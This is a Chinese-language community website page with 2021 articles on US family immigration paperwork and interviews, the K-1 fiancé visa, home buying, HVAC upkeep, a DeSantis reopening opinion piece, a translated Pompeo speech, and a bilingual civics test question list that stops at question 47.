关于遗失档案的重要通知:如果根据特定国家/地区的准则缺少所需的档案,则无需将档案扫描到领事电子申请中心(CEAC)中。但是,如果由于其它原因,而无法获得所需的文件,则在扫描其它文件时必须向国家签证中心(NVC)提交详细的书面说明。在签证面试过程中,领事官员将确定你是否必须在签证签发之前,获取丢失的证件。通常,任何在特定国家/地区指南中列为“可用”的档案都必须由领事官员审查。无法获取所有必需的档案将延误你的案件。

收集完所有必需的文件后,必须扫描并储存这些文件。

除非国家签证中心(NVC)明确指示这样做,否则请勿将任何档案邮寄给NVC。如果这样做,将会延误您的案件处理,并可能会丢失您传送的所有档案。

亲属移民 如何扫描民事档案?

并且,为了确保案件在处理过程中不会出现延迟,在扫描文件时要遵循以下准则:

要求:
・可接受的档案型别包括.pdf(首选).jpg和.jpeg。
・每个单独的档案(扫描的文件)不得大于2 MB(megabytes)。
・将一个多页文件(例如I-864)扫描并上传成为为一个档案,如果文件大小大于2 MB,就必须缩小档案。
・“压缩”档案、可修改的PDF或受密码保护的档案将不被接受。

文件要清晰,不需要再旋转。(美國國務院官網)

文件需彩色,不能使用黑白扫瞄。(美國國務院官網)

如果在背面带有图章、标记或文字,都要连同正面一起扫描。(美國國務院官網)

画面质量:
您的扫描必须:
・彩色,不能使用黑白扫瞄。
・如果在背面带有图章、标记或文字,都要连同正面一起扫描。
・将您的文件的认证译文与原始(即外语)文件,一起包含在一个档案中。
・文件要清晰,易于检视和阅读,并且文件的任何部分都不能被剪掉。
・文件方向要正确,不需要再旋转。

申请亲属绿卡 提交民事档案

确认扫描的民事当案都都符合上述条件之后,接着你必须要上传,并随申请一起提交的所有民事档案带到签证面试中。

要提交档案,就要登入CEAC,进入”支援档案和民事档案的宣誓书”下的“立即开始”按钮。当您上传完每个部分所有必需的档案后,才能按“提交档案”。除非,你已为每个人上传了所有必需的档案,否则“提交档案”按钮将不起作用。一旦您按“提交档案”,您的案件将被排入国家签证中心(NVC)进行审查。

要确定NVC当前正在审核哪些情况,要参阅NVC Timeframes页面。

NVC审查您的案件后,你就将收到一封电子邮件。

申请亲属绿卡 准备面试

如你是申请直系亲属类别,将会在两到三周内收到签证中心的面谈通知。如果是非直系亲属类别,约在五到六周内会接到面谈通知。

国家签证中心(NVC)安排您的签证面谈预约后,他们将向你和你的申请人,和你的代理人/律师(如果适用)传送一封电子邮件,告知你预约的日期和时间。收到NVC的面试预约信后,您必须在面试日期之前采取以下步骤。

1.安排并完成体检
你和你的申请人,都必须安排与授权医生进行医疗预约。这项检查必须与使馆批准的医生(也称为专家组医师)一起进行,由其他医师进行的检查将不被接受。你必须在安排的签证面谈日期之前,完成体检,以及所有必要的疫苗接种。请访问我们的美国大使馆和领事馆列表,以了解特定国家/地区的体格检查说明。

检查后,专科医生将把结果直接传送给大使馆,或者给您一个密封的信封。如果医生给您一个信封,请不要开启它,而要将其带到您的签证面试中,并交给领事官员。

2.注册快递服务、其它面试指导

3.收集面试所需的档案
每个签证申请人,无论其年龄如何,都必须携带某些档案(包括照片)和面谈的所有资料,以及提交给NVC的所有民事档案的原始副本,或经认证的副本。无需携带支援宣誓书或你提交给NVC的财务证明。

如果,你忘记携带列表中的某些东西,领事官员将无法完成你的签证处理。你将需要收集丢失的物品,并将其提供给使馆或领事馆,并且可能需要进行额外的面谈。

面试之前,要确保您已按照美国大使馆或领事馆面试准备说明进行操作。

在你安排面试的预定日期和时间,透过列印的签证申请(DS-260)确认页面转到美国大使馆或领事馆。领事官员将与你,以及陪同的家人进行面谈,并确定是否有资格获得移民签证。

申请亲属绿卡 面试要携带的文件

申请人有责任将所有要求的原始或经核证的民事档案带到签证面试中。你必须携带以下档案参加面试:

预约信:您从NVC收到的面试预约信。
护照:每位申请人的护照至少有六个月的有效期
照片:每位申请人两张相同的彩色照片,必须满足一般照片要求。
DS-260确认页
支援档案:您上载到CEAC的所有民事档案的原始或经认证的副本。
面试完成后,您的原始档案将退还给您。提供的任何影印本都可以保留。

亲属移民 面试之后等待通知

如果获得签证批准,签证中心会通知你,如何以及何时将护照和签证还给你。在收到移民签证之后和前往美国之前,你还必须向美国公民及移民服务局(USCIS)支付USCIS移民费。在你支付费用之前,USCIS不会发行永久居民卡(I-551表格或绿卡)。

如果很不幸,签证被拒,领事馆官员会通知你,不符合签证条件的原因。根据美国法律,并非所有申请签证的人,都有资格或有资格赴美国签证。根据美国法律,许多因素可能会使申请人没有资格获得签证。

以上步骤在移民律师的指导下,将会更加清晰、方便进行,您与家人只要尽可能在律师指导下,提供需要的资料、档案,相信不会太困难。当然,假如有某些需要克服的条件较难达成,例如担保人问题、财务问题,也需要听从律师的指示一一达成有利的条件,才能增加移民成功的机会。

最后就祝您一切移民申请顺利,与家人能在美国团员!#

声明:本文非法律文件,仅作为一般性参考内容,不勿以此为依据提出法律诉讼或任何证明,我们不做任何形式的责任。申办移民时请读者向合格律师提出咨询,请求专业服务。

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2021-04-18 / by / in ,
疫情之下安全开放 佛罗里达打造“自由的绿洲”
文|无疆行者

去年9月25日,在疫情还非常严峻的时候,佛罗里达州州长罗恩•德桑蒂斯(Ron DeSantis)力排众议全面重新开放了该州。

尽管当时德桑蒂斯受到各类媒体和很多选民的激烈批评,甚至还有很多关于佛罗里达疫情的可怕预测,但是今天德桑蒂斯已经被证明是正确的。2021年4月1日,佛罗里达州在人均死于中共病毒的所有州中排名第27位。4月11日,该州与COVID-19(中共病毒)有关的每日死亡人数,几个月来首次下降到个位数。

去年4月1日,在全球对中共病毒疫情的爆发感到恐慌之际,德桑蒂斯曾发布了一项全州范围的防疫居家禁令,实施了30天的封锁措施。在封锁令过去之后,德桑蒂斯开始分阶段重新开放该州。

近日,德桑蒂斯在接受《大纪元时报》采访时表示,包括在他自己的州所实施的封锁防疫措施,是一个“巨大的错误”。

佛罗里达州共和党州长罗恩·德桑蒂斯(Ron DeSantis)。(Wikimedia Commons)

德桑蒂斯说:“当时我们希望减轻损失。现在,在事后看来,试图减缓疫情传播的15天的(封锁措施)和30天的都没有起到作用。”“我们不应该走那条路。”

在重新开放的每个阶段,德桑蒂斯都面临着来自媒体集团和他自己的选民的激烈批评。但是德桑蒂斯确信,继续实施封锁令,是在延续一个具破坏性的错误。

2020年9月25日,他全面重新开放了佛罗里达州。作为冬季激增的一部分,当感染病例数量开始上升的时侯,他也没有重新实施任何限制令。封锁防疫措施的支持者们预测,该州前景黯淡。但德桑蒂斯坚持了自己的立场。

州长德桑蒂斯的坚持并不只是信念的放飞。在佛罗里达州于9月底全面重新开放后不到两周,来自斯坦福、哈佛和牛津的科学家们公开发表了《大巴灵顿(麻萨诸塞州)宣言》(Great Barrington Declaration),称封城防疫是一种具破坏性和徒劳无功的疫情缓解措施。这份由13985名医学和公共卫生科学家签署的声明,呼吁政府官员采取更有针对性的保护措施——这正是德桑蒂斯所采用的策略。

现在德桑蒂斯已经被证明是正确的。2021年4月1日,佛罗里达州在人均死于中共病毒的所有州中排名第27位。染疫死亡人数占所有死亡人数的百分比为9.7%,远低于加州的12.6%和美国的平均水平12.2%;特别值得注意的是,佛罗里达州的老年人人口比例是全美最高,而且它没有像加州、纽约等对疫情实行封锁和严格限制。

疫情之下自由开放的佛罗里达海滩。(Pixabay)

但与加利福尼亚州和纽约州的严重受损的经济相比,佛州的经济正在蓬勃发展。目前佛罗里达州的失业率为4.7%,而全美国的失业率为6.2%。纽约州、新泽西州、宾夕法尼亚州和加利福尼亚州等,这些实施了严格封锁措施的州的失业率,在全美国都名列前茅,分别为8.9%、7.8%、7.3%和8.5%。

佛罗里达州有接近100%的学生可以进行面对面学习,加州这一比例只有5%,而且加州的病毒儿科感染病率还更高。

疫情之下自由开放的佛罗里达海滩。(Taylor Deas-Melesh/Unsplash)

因为封锁令而导致的自杀、心理健康问题、被推迟的医疗和阿片类药物滥用所带来的死亡人数,无疑是巨大的。

德桑蒂斯说:“这是一个巨大的政策错误。”

他补充说:“我所要做的就是跟着数据走,只是有勇气被宣传攻势撕咬,并与媒体抗争。”“当人们打我的时候,我说的是,我宁愿他们打我,也不愿有人失去工作。我宁愿让他们打我,也不愿让孩子们被学校拒之门外。我完全愿意承受一切压力,因为我们在做正确的事情。”

德桑蒂斯说:“如果我们没有站出来,有些人可能会没有工作,企业可能已经破产,孩子们不会在学校里学习,我不能让这一切发生。” “在一个四处都是压制性封锁的国度里,现在我们正处于一片自由的绿洲当中。”

2021-04-18 / by / in , , , , ,
在美国购房注意什么问题?这8个方面很重要

文|雨荷

在美国买房,不管是投资还是自住,选择好地段很重要。选择好地段后,还要确定房屋类型,做好万全的考虑和准备,才能顺利的买到心仪的房子。这样就建议找一些经验比较丰富的房产经纪人。找到以后可以告诉她你的是需求,并且和他们一起去看房子。

这里首先要关注的是看房登记者和顺便了解一下还有多少人也对这家房产感兴趣,越受欢迎竞争越激烈。其次要观察一下房子周边有没有墓地、火葬场和工厂。一般买家会避免这些地方离房产太近。问清楚熟悉该地区的经纪人就知道房子的周边的情况和正确的信息。

还要看一下房子周围有哪些商场超市、有几个公交站,有多少餐馆,有多少娱乐设施等,如果条件允许,可以步行或者开车计算一下路程。

餐厅 示意图。

娱乐设施也很主要,比如遛狗公园,网球场、游泳池、高尔夫、各种协会,比如足球等。购物方便也很重要,包括生活用品、餐馆、购物中心等;有的人还喜欢周围有企业,工作好找,上班也方便;医院等一些配套设施;配套设施远近程度决定了生活的便利程度。

看房8个方面:

1.门窗

检查需要注意窗户是否已更新为自己制定的材质。在没有特殊要求下,都会使用UPVC窗户。因UPVC是免维护窗户,而且经久耐用。如果窗户的纱窗是外置的,一定要仔细检查质量,否则真的掉下去出现事故,那业主的责任是绝对跑不掉的。同时,窗户的密封性也要检查清楚,不然下雨的时候,水进来时很麻烦的。

2.厨房

厨房内的地板、厨具柜、水槽、台面和铺设的瓷砖都是检查的细节。厨房电器如果很旧需要更换,虽然没有空调和热水炉櫃,但是炉灶、洗碗机、微波炉、烤箱,加在一起也是一笔不小的开支。

厨房 示意图。

3.浴室

检查浴室时,需注意四周墙面是否光滑处理、有没有安装新马桶、所有管道是否存在渗漏与堵塞的情况,如果有,是否有更新。最后,需检查地板是否有重新铺设。

4.地面

在检查卧室与起居室时,需留意有没有铺设新地毯。如果是实木地板,有没有进行砂纸磨光;而在厨房和浴室这些铺设瓷砖的地方,则特别需要注意现在地面瓷砖的质量是否完好。

5.地下室

在验房时,好好检验下地下室的质量,地基是否有被破坏或下沉现象,地板及墙面是否有渗水现象,这样很有可能会造成地陷,对人身安全造成不必要的影响;要看空调组件、热水炉这些电器是不是到了该更换的时候。

6.屋内的味道

有些房子会有一些不好的味道,比如烟味。有些做饭的味道,像咖喱味。地下室是不是会有很潮的味道。

房子 示意图。

7.水压

水压低是影响淋浴的,同时还意味着可能伴随锈蚀、管道积垢或其他严重问题。看房时打开所有水龙头,了解水压情况是查看水压是否有问题的好办法。

8.房子外观、有无漏水

房屋外观状况是否良好,墙板是否有损坏,屋顶瓦片是否松动。排水管和排水沟是否有破损和堵塞。房子的漏水通常是从屋顶和屋内的水管中漏出来的,也包括空调管道的漏水。多注意天花板上是否有水渍。

2021-04-18 / by / in , , , , , ,
K-1签证全解析 美国公民的未婚配偶签证
文|无疆行者

K-1签证是美国公民为海外未婚夫(妻)办理来美最快速的途径之一。K1签证属于美国婚姻签证的一种非移民签证类型,是为了方便申请人和美国公民结婚而颁发的一类签证。本文详细为您介绍美国K1签证申请资格要求、申请材料、流程时间和费用等问题。

一、K1签证申请资格要求

1.美国公民的一方愿意开始申请

2.双方真心相爱

3.在过去的两年中,美国公民和中国未婚配偶曾彼此会面

4.美国公民和中国未婚配偶打算在入境后90天内结婚

5.美国公民和未婚配偶双方皆非处于已婚状态。

6.美国公民一方有稳定的收入来负担彼此开销,并且该收入超过了《联邦贫穷标线》。

二、K1签证赴美结婚转换身份的基本步骤

申请K1 签证通常分为:P1, P2,P3,P4几个时间点。

P1阶段:美国公民提交申请阶段

美方申请人需要的材料

1.美国申请人护照复印页1份;

2.美方申请人的照片1张,美方申请人在申请前30天内拍的护照规格照片。

3.美国申请人的出生纸复印件 (如果是离异,最好附上离婚证复印件。)

4.美国申请人写的结婚意向书(写明交往过程及入美后90天内会与中国受益人结婚)。

5.两年内见过面的证据,如中国签证页,机票的登机牌,两人的合影,家人合影,聊天记录之类,总之所有可以证明你们关系的材料。

6.美国申请人填写的I-129表格F

7.I-134表格(Evidence of financial support, 财力证明, 需要准备2份并且签名)

8.G-1145表格(E-Notification of Application/Petition Acceptance,递交之后会收到短信/Email )

9. $535美元的支票

P2阶段:申请审核阶段

美国的申请人将材料寄出以后,就会进入漫长的等待期,主要是看移民局的效率和工作量,一般需要3到8个月,就会收到了美国驻广州总领馆发来的包裹。

P3阶段:收到广州总领馆包裹+邮寄材料

收到包裹以后,请大家按照要求整理好材料并且寄回美国驻广州总领馆。

材料清单:

1:DS-160表格

2:护照个人信息页的复印件。

3:签证照片2张。

4:含有Case number的纸张。

把以上所有材料邮寄回广州总领馆后,大家在等待面签前还有一些准备工作:

1:预约体检(体检要根据领馆提供的指定医院,不能自己找,并且体检报告不要自行开封)。

2:面签费缴费(中信银行网站即可缴费)

2:无犯罪证明及公证。

3:出生证明及公证。

4:未婚证明及公证。

P4阶段:准备面签

收到来自广州总领馆的邮件,到了最后一步面签了。大家一定要在去之前,仔细检查并带好所有的材料!需要注意的是,所有K-1签证在国内的面试地点都统一在广州。

材料清单:

1.面签信

2.DS-160确认页

3.有效期至少半年以上的护照

4.两人关系证明(各种照片信件,机票等等)

5.体检报告

6.出生,无犯罪,未婚证明以及公正

7.双方经济担保材料(美方申请人的I-134表原件,最近1—2年的税单,雇主信,最近12个月的银行statement)

8.签证照2张

9.签证费缴费收据

K1面签通过以后,大约一周左右就会收到广州总领馆的签证资料了。

三、面谈中可能会问什么样的问题?

在总领馆面谈中,官员将询问配偶关系和查验证明文件。

一般常见问题是:

• 当初如何认识的?

• 谁先邀请对方出去?

• 怎么订婚的?

• 美国公民配偶的全名,出生日期和地址是什么?

• 美国公民父母的名字是什么?

• 美国公民配偶是否曾经有过婚姻?

• 美国公民配偶做什么工作?

• 美国公民配偶是否有任何孩子?他(们)叫什么名字?

• 您打算在美国住哪里?

除了上述问题外,在USCIS绿卡面谈,可能还会询问以下问题:

• 婚礼和蜜月如何?

• 婚姻生活如何?

• 你们见过对方的家人吗?

• 美国公民配偶在哪里工作?

• 谁做饭?而且,通常煮什么?

• 配偶什么时候下班回家?

• 谁处理财务?付账单?

• 官员可能会询问被带到面试中的配偶照片的故事,以证明他们之间存在持续的关系

• 官员可能会询问婚礼证人

需要特别注意,通过K1签证进入美国以后,必须在90天之内完成结婚并且进行身份转换,即申请美国绿卡,超过1年未申请则婚姻失效,K-1签证受益人必须从美国离境,否则就会变成逾期非法滞留。

注:本文的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯的专业人士。


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2021-04-17 / by / in , ,
冷气暖气耍脾气 专家教你驯服 纽约空调维修找这里

文|雨荷

在美国供暖和制冷对一般家庭来说是一笔不小的开支。若能对暖气设备进行及时维护和保养,提高暖气发挥正常性能和空调正确的操作和处理,节约的费用是很可观的。

房屋取暖系统类型

1.电暖:使用电力来加热器取暖,没有其他设备。优点是安装简便并可分房间单独控制温度,但是取暖费用较高。

2.水暖:是在地下室安装一个热水锅炉,使用油或天然气来加热水,进行循环来加热暖气片。优点是升降温度缓和,无噪音而且室内不是特别干燥,可单独控制每个暖气片的温度。

3.气暖:暖气是设置在地板,墙壁或天花板上的通气格栅,要有管道送暖风,和一个中央暖风系统吹风。对整个房子里循环后的空气进行再加热。优点是容易控制温度,升温快,室内空气循环流动,这种系统成为最佳加热系统。

取暖系统 示意图。

提高暖气发挥正常性能

 1.暖气滤网:每个月至少清洗或更换滤网一次,并且每隔几周就检查滤网是否干净,或依照暖气制造商建议的方式更换清理。

2.散热器或出风口:每隔一段时间就应清理散热器或出风口,并确保没有被家具、地毯、窗帘等挡住。

3.调节温度器:使用智能型恒温器,安装一个可调节的温度器,把室内温度调整到适合的程度即可,在睡觉及出门时,温度适当调低。

4.使用加湿器:加湿器可使家中温度提高。而且暖气会使房间内变得干燥,使用加湿器增加室内湿度,滋润干燥空气,使空气更加清新,保障家人的健康。

5.暖气放水:使用热水循环供暖系统,暖气每季应放水一次,将散热片中的水或空气放出来,以免空气或水中杂质影响热水循环。如果不清楚如何操作,应咨询专家。

6.时常打开窗户:冬天白天可将窗帘及百叶窗打开,让阳光可以照进屋内;在夜里则关上以减少冷空气进入。

百叶窗打开 示意图。

7.放置反射垫:在外墙及散热器之间放置隔热反射垫,以减少热量流失。

家庭空调的维护,设备的操作和处理 

一:更换空调过滤网:空调在开启的时候,室内的空气一直在不停地循环,过滤网会慢慢的越来越脏,需要定期的去更换新的过滤网。

二:空调的分管:空调工作的时候,室内的空气经过回风口进去到机器,再通过风管送到各个房间。

有些人觉得管子里面会不会很脏,需要去清理?空气在循环的时候会把一些灰尘带到管子里面,如果管子里面已经存在的灰尘,在开启空调的时候,如果能很轻易地吹出来,那说明已经吹走了。没吹出来的,也不会那么容易的吹到人的鼻子里面。

当然开启空调的时候,里面已很明显的灰尘,或者说有很明显的异味,就需要请专业的公司来做清理。建议大家在每年四月份的时候,天气有点热时,打开冷气试一下,空调是否能够正常的工作。不要等到天热再去请空调公司的人来维修,不容易请到人。

 三:空调的室外机:室外机功能主要就是散热,它的周围长满了杂草或堆一些杂物是不不行的,要保持干净、整洁、通畅;建议把空调室外机围起来,如果动物在上面撒尿,会很快把里面的散热片给腐蚀掉了;空调的室外机放在外面,即便是风吹、日晒雨淋都没有关系的,因为就是这样设计的。

四:空调的冷媒:空调用了很多年了,需要加冷煤吗?空调的冷不像汽车的机油,每到几千迈就要换一次。它在理想的情况下是密封在里面的,如果没有出现故障或漏掉,会一直在里面,是不需要加冷煤的。夏天的时候正常的开冷气,如果感觉正常有冷风,就不用加。

空调不工作一般存在两种情况

电闸:首先去外面检查一下的室外机电闸,有可能开关跳闸了。打开电闸开关。会看到一排黑色的开关,ac就代表空调是空调的开关。如果看到这一排黑色的开关,这些都是在靠左边,其中一个再靠右边,很明显它跳闸了。空调的室外机在工作时可以听到声音,里面的风扇在转动,再去室内感受有冷气吹出来就可以了。

换电池:把空调的温度控制器旧的电池取下来,把用新的电池按原样装上去,看好电池正负极装上去,然后重新按开启冷气,就可以正常工作了。

如果还是室外机还是不工作,或者是即便在工作,用手感受这里还是依然没有冷气,那就建议去找专业的冷气维修公司来帮您做诊断。

纽约暖气和冷气公司推荐:

康权冷暖维修安装

星火冷暖5166705677修理安装各种冷暖机器

快快通渠公司

捷扬水喉公司

发兴冷暖空调大冰箱

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通下水/管道疏通/华盛水管疏通公司 347-822-0909

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2021-04-16 / by / in , , , , ,
前国务卿彭培奥发表讲话,信仰与外交政策对我们共和国很重要

文|雨荷编译

前国务卿彭培奥(Mike Pompeo):被擦洗掉信仰的公共广场是一个较小的空间,不受历史和价值观,纪律和爱的束缚,并且容易受到委身,腐败,只为维护自我权力而专心维持权力的领导人。

早在2010年,我就参加了代表堪萨斯州中南部参加美国众议院竞赛。有记者问我怎么处理我的宗教信仰,我的角色,代表许多信仰和许多传统的人民选举产生的官员。我简单但直接的回答使他大吃一惊:“我的信念告诉我所做的一切。我对自己的角色和工作的理解以我作为基督徒的身份为指导。” 记者有点震惊,说:“但是那是怎么回事呢?” 我重申,“如果我当选,我的职责是从敌人,国外和国内捍卫我国宪法。但如何实现即对每一个民选官员,重要的; 对我来说,我的信仰是我本人的核心。”

在我担任公共服务期间,在许多不同的论坛中都发生过多次类似的交流。当我以国务卿身份发言时,我向所有人明确表示,我的工作是确保美国自由-美国第一。然而,我对美国建国的理解,对全世界所有人民扩大宗教自由的承诺以及对人权的关注,都源于我们都是按照上帝的形象被创造,并被他赋予了不可剥夺的权利和知识。在上帝眼中都是平等的。

彭培奥(Mike Pompeo)

正如上帝呼召我们一样,也呼召我们认识到每个人固有的尊严。如果一个人不为那些因信仰而受到尊严损害的人采取行动,就不会有人相信所有人的尊严。在许多地方,例如中国,伊朗,朝鲜和古巴,仍然存在宗教迫害和压迫是规范而非例外的情况。

在中国新疆省,数百万维吾尔族穆斯林被关押在奥威尔式集中营中,他们的基本尊严被否认。在中国其他地区,基督教信徒只被允许在中国共产党认可和监督的教堂里朝拜。任何拒绝宗教自由的国家都无法以其他方式宣称自己是善的。未出生的生命也必须受到保护。因此,我们加强了墨西哥城政策,以确保国际组织不使用任何美国税金进行堕胎。堕胎不是人权;这需要人类的生命。

为了解决世界各地对宗教自由的攻击,我连续三年召集部长级会议,以推进宗教自由(ACLJ参加了这些活动)。这是国务院有史以来最大的人权事件。部长汇聚了来自世界各地的领导人,讨论威胁宗教自由的问题,并共同寻求解决方案。事实证明,宗教自由对全世界许多人都很重要,这是美国可以而且必须领导的问题。

正如弥迦所说的那样,我们被称为“公正行事,热爱怜悯,谦卑的与上帝同行。” 我在美国法律与正义中心所做的工作是我致力于宗教自由和促进支持家庭的政策的重要组成部分,并承认在我们的公共场所信仰不仅合法,而且是必要的。有很多工作要做。通过实施有效的宣传,教育和诉讼策略来支持ACLJ在法律,立法和文化问题上的努力,是维护我们国家最美好事物的重要组成部分。

彭培奥(Mike Pompeo)是前国务卿兼中央情报局(CIA)的前局长

2021-04-15 / by / in , ,
收藏起来!2021公民归化入籍考试 最新拜登版100题与答案(中英文对照)
文|无疆行者

2021年2月22日,美国移民局USCIS宣布,在2021年3月1日当天或之后提交的公民归化入籍申请者将使用2008年公民入籍100题测试。2020年新版本的128题将于2021年4月19日被淘汰。详情请前往USCIS官方网站>>

公民测验是口试,由USCIS主考官向申请人提问100道公民试题中的10道。 申请人必须从10道中正确回答6道才能通过入籍归化的公民测验部分。

在公民入籍考试中,有些问题的答案会因选举或任命结果而改变。 当您学习考题时,请务必确定您知道该类试题的最新答案。 当您到美国公民及移民服务局(USCIS)接受公民入籍面试时,您需要回答当时在位任职的政府官员之姓名。 美国公民及移民服务局的面试官将不会认可错误的答案。

公民测试50/20和55/15豁免规则:

申请人年满50岁、且以永久居民(绿卡)身份在美国生活20年以上; 或年满55岁、且以绿卡身份在美国生活15年以上,可选择母语中文参加公民考试, 需自带中英文流利的翻译。

⼀、AMERICAN GOVERNMENT 美国政府

A. Principles of American Democracy 美国民主原则

1. What is the supreme law of the land? 美国的最⾼法律是什么?
答:The Constitution 宪法

2. What does the Constitution do? 宪法的作⽤是什么?
• Sets up the government 建⽴政府体制 • Defines the government 定义政府 • Protects basic rights of Americans 保护美国⼈的基本权利

3. The idea of self-government is in the first three words of the Constitution. What are these words? 宪法的前三个字说明⾃治的概念 。这三个字是什么?
答:We the People 我们⼈民

4. What is an amendment? 什么是修正案?
• A change (to the Constitution) 宪法的更正 • An addition (to the Constitution) 宪法的补充

5. What do we call the first ten amendments to the Constitution? 宪法的前⼗项修正案称为什么?
答:The Bill of Rights 权利法案

6*. What is one right or freedom from the First Amendment? 列举第⼀条修正案中的⼀项权利或⾃由 。
• Speech ⾔论⾃由
• Religion 宗教⾃由
• Assembly 集会结社的⾃由
• Press 出版⾃由
• Petition the government 向政府请愿的权利

7. How many amendments does the Constitution have? 宪法有⼏条修正案?
答:Twenty-seven (27)(27 条)

8. What did the Declaration of Independence do? 「独⽴宣⾔」的作⽤是什么?
• Announced our independence (from Great Britain) 宣布美国脱离英国独⽴
• Declared our independence (from Great Britain) 宣告美国脱离英国独⽴
• Said that the United States is free (from Great Britain) 表⽰美国脱离英国独⽴

9. What are two rights in the Declaration of Independence? 列举「独⽴宣⾔」中的两项权利 。
• Life ⽣命的权利
• Liberty ⾃由的权利
• Pursuit of happiness 追求幸福的权利

10. What is freedom of religion? 什么是宗教⾃由?
答:You can practice any religion, or not practice a religion. 你可以信仰任何宗教,也可不信任何宗教 。

11*. What is the economic system in the United States? 美国的经济制度是什么? • Capitalist economy 资本主义经济
• Market economy 市场经济

12. What is the “rule of law”? 「法治」是什么?
• Everyone must follow the law. ⼈⼈都应遵守法律
• Leaders must obey the law. 领导⼈必须遵守法律
• Government must obey the law. 政府必须遵守法律
• No one is above the law. 没有任何⼈在法律之上

B. System of Government 政治体制

13*. Name one branch or part of the government. 列举政府体制的⼀个分⽀或部门 。
• Congress 国会
• Legislative ⽴法部门
• President 总统
• Executive ⾏政部门
• The courts 法院
• Judicial 司法部门

14. What stops one branch of government from becoming too powerful? 什么防⽌⼀个政府分⽀变得过于强⼤?
• Checks and balances 制衡
• Separation of powers 权⼒分⽴

15. Who is in charge of the executive branch? 谁负责⾏政部门?
答:The President 总统

16. Who makes federal laws? 谁制定联邦法律?
• Congress 国会
• Senate and House (of Representatives) 参议院及众议院
• (U.S. or national) legislature 美国/国家⽴法部门

17*. What are the two parts of the U.S. Congress? 美国国会由哪两个部分组成? 答:The Senate and House (of Representatives) 参议院与众议院

18. How many U.S. Senators are there? 美国参议员有⼏位?
答:One hundred (100) (100 位)

19. We elect a U.S. Senator for how many years? 我们选出的美国参议员任职多少年?
答:Six (6) (6年)

20*. Who is one of your state’s U.S. Senators now? 列举您所在州⼀位现任美国参议员名字。
Answers will vary. [District of Columbia residents and residents of U.S. territories should answer that D.C. (or the territory where the applicant lives) has no U.S. Senators.] 答案依所在 州不同⽽异 。〔住在 DC 和美国领⼟的居民可答:DC(或应试居民所在领地)没有美国参议 员 。〕

21. The House of Representatives has how many voting members? 众议院有多少议员?
答:Four hundred thirty-five (435)(435位)

22. We elect a U.S. Representative for how many years? 我们选出的美国众议员任职多少年?
答:Two (2)(2年)

23. Name your U.S. Representative. 列举您所在选区⼀位美国众议员的名字 。 Answers will vary. [Residents of territories with nonvoting Delegates or Resident Commissioners may provide the name of that Delegate or Commissioner. Also acceptable is any statement that the territory has no (voting) Representatives in Congress.] 答案依所在州不 同⽽异 。〔住在没有投票权的美国领地当地代表或专员之应试者可以说明当地代表或专员的姓 名 。说明⾃⼰选区没有国会(投票)代表也是可接受的答案 。〕

24. Who does a U.S. Senator represent? 美国参议员代表何⼈?
答:All people of the state 其所在州的所有⼈民

25. Why do some states have more Representatives than other states? 为什么有些州的众议员⼈数⽐其他州多?
• (Because of) the state’s population 由于该州的⼈口
• (Because) they have more people 由于该州有更多⼈口
• (Because) some states have more people 由于该州的⼈口⽐其他州多

26. We elect a President for how many years? 我们选出的总统任职多少年?
答:Four (4)(4年)

27*. In what month do we vote for President? 我们在哪⼀个⽉选总统?
答:November ⼗⼀⽉

28*. What is the name of the President of the United States now? 现任美国总统的名字是什么?
• Joe Biden 乔•拜登 • Biden 拜登

29. What is the name of the Vice President of the United States now? 现任美国副总统的名字是什么?
• Kamala Harris 卡马拉•哈⾥斯 • Harris 哈⾥斯

30. If the President can no longer serve, who becomes President? 如果总统不能视事,则由谁成为总统?
答:The Vice President 副总统

31. If both the President and the Vice President can no longer serve, who becomes President? 如总统副总统都不能视事,则谁成为总统?
答:The Speaker of the House 众议院议长

32. Who is the Commander in Chief of the military? 谁是三军统帅?
答:The President 总统

33. Who signs bills to become laws? 谁签署法案使之成为法律?
答:The President 总统

34. Who vetoes bills? 谁否决法案?
答:The President 总统

35. What does the President’s Cabinet do? 总统的内阁做什么事?
答:Advises the President 向总统提出建议

36. What are two Cabinet-level positions? 请列举两个内阁级别的职位。
• Secretary of Agriculture 农业部长
• Secretary of Commerce 商务部长
• Secretary of Defense 国防部长
• Secretary of Education 教育部长
• Secretary of Energy 能源部长
• Secretary of Health and Human Services 健康与⼈类服务部长
• Secretary of Homeland Security 国⼟安全部长
• Secretary of Housing and Urban Development 住宅与都市发展部长
• Secretary of the Interior 内政部长
• Secretary of Labor 劳⼯部长
• Secretary of State 国务卿
• Secretary of Transportation 交通部长
• Secretary of the Treasury 财政部长
• Secretary of Veterans Affairs 退伍军⼈事务部长
• Attorney General 司法部长
• Vice President 副总统

37. What does the judicial branch do? 司法部门做什么?
• Reviews laws 审查法律
• Explains laws 解释法律
• Resolves disputes (disagreements) 解决争议
• Decides if a law goes against the Constitution 决定某⼀法律是否牴触宪法

38. What is the highest court in the United States? 美国最⾼法院是什么?
答:The Supreme Court 联邦最⾼法院

39. How many justices are on the Supreme Court? 最⾼法院有⼏位⼤法官?
答:Nine (9)(9位)

40. Who is the Chief Justice of the United States now? 现任联邦⾸席⼤法官是谁?答:John Roberts (John G. Roberts, Jr.) 约翰-罗伯兹

41. Under our Constitution, some powers belong to the federal government. What is one power of the federal government? 根据我国宪法,有些权⼒属于联邦政府 ,请列举⼀项。
• To print money 印制钞票
• To declare war 宣战
• To create an army 创⽴军队
• To make treaties 签订条约

42. Under our Constitution, some powers belong to the states. What is one power of the states? 根据我国宪法,有些权⼒属于州政府 ,请列举⼀项。
• Provide schooling and education 提供教育
• Provide protection (police) 提供保护(警员)
• Provide safety (fire departments) 提供安全(消防局)
• Give a driver’s license 提供驾驶执照
• Approve zoning and land use 批准区划与⼟地使⽤

43. Who is the Governor of your state now? 您居住州的现任州长是谁?
Answers will vary. [District of Columbia residents should answer that D.C. does not have a Governor.] 答案依居住州不同⽽异 。〔哥伦⽐亚特区的居民应回答:「我们没有州长 。」〕

44*. What is the capital of your state? 您居住州的⾸府是哪⾥?
Answers will vary. [District of Columbia residents should answer that D.C. is not a state and does not have a capital. Residents of U.S. territories should name the capital of the territory.] 答案依居住州不同⽽异 。〔哥伦⽐亚特区居民应回答 DC 不是⼀个州,没有⾸府 。美国领地居 民应回答居住领地的⾸府 。〕

45*. What are the two major political parties in the United States? 请说出美国当今的两⼤政党。
答:Democratic and Republican 民主党与共和党

46. What is the political party of the President now? 现任总统属于哪个政党?
答:Democratic (Party) 民主党

47. What is the name of the Speaker of the House of Representatives now? 现任国会众议院议长的名字是什么?
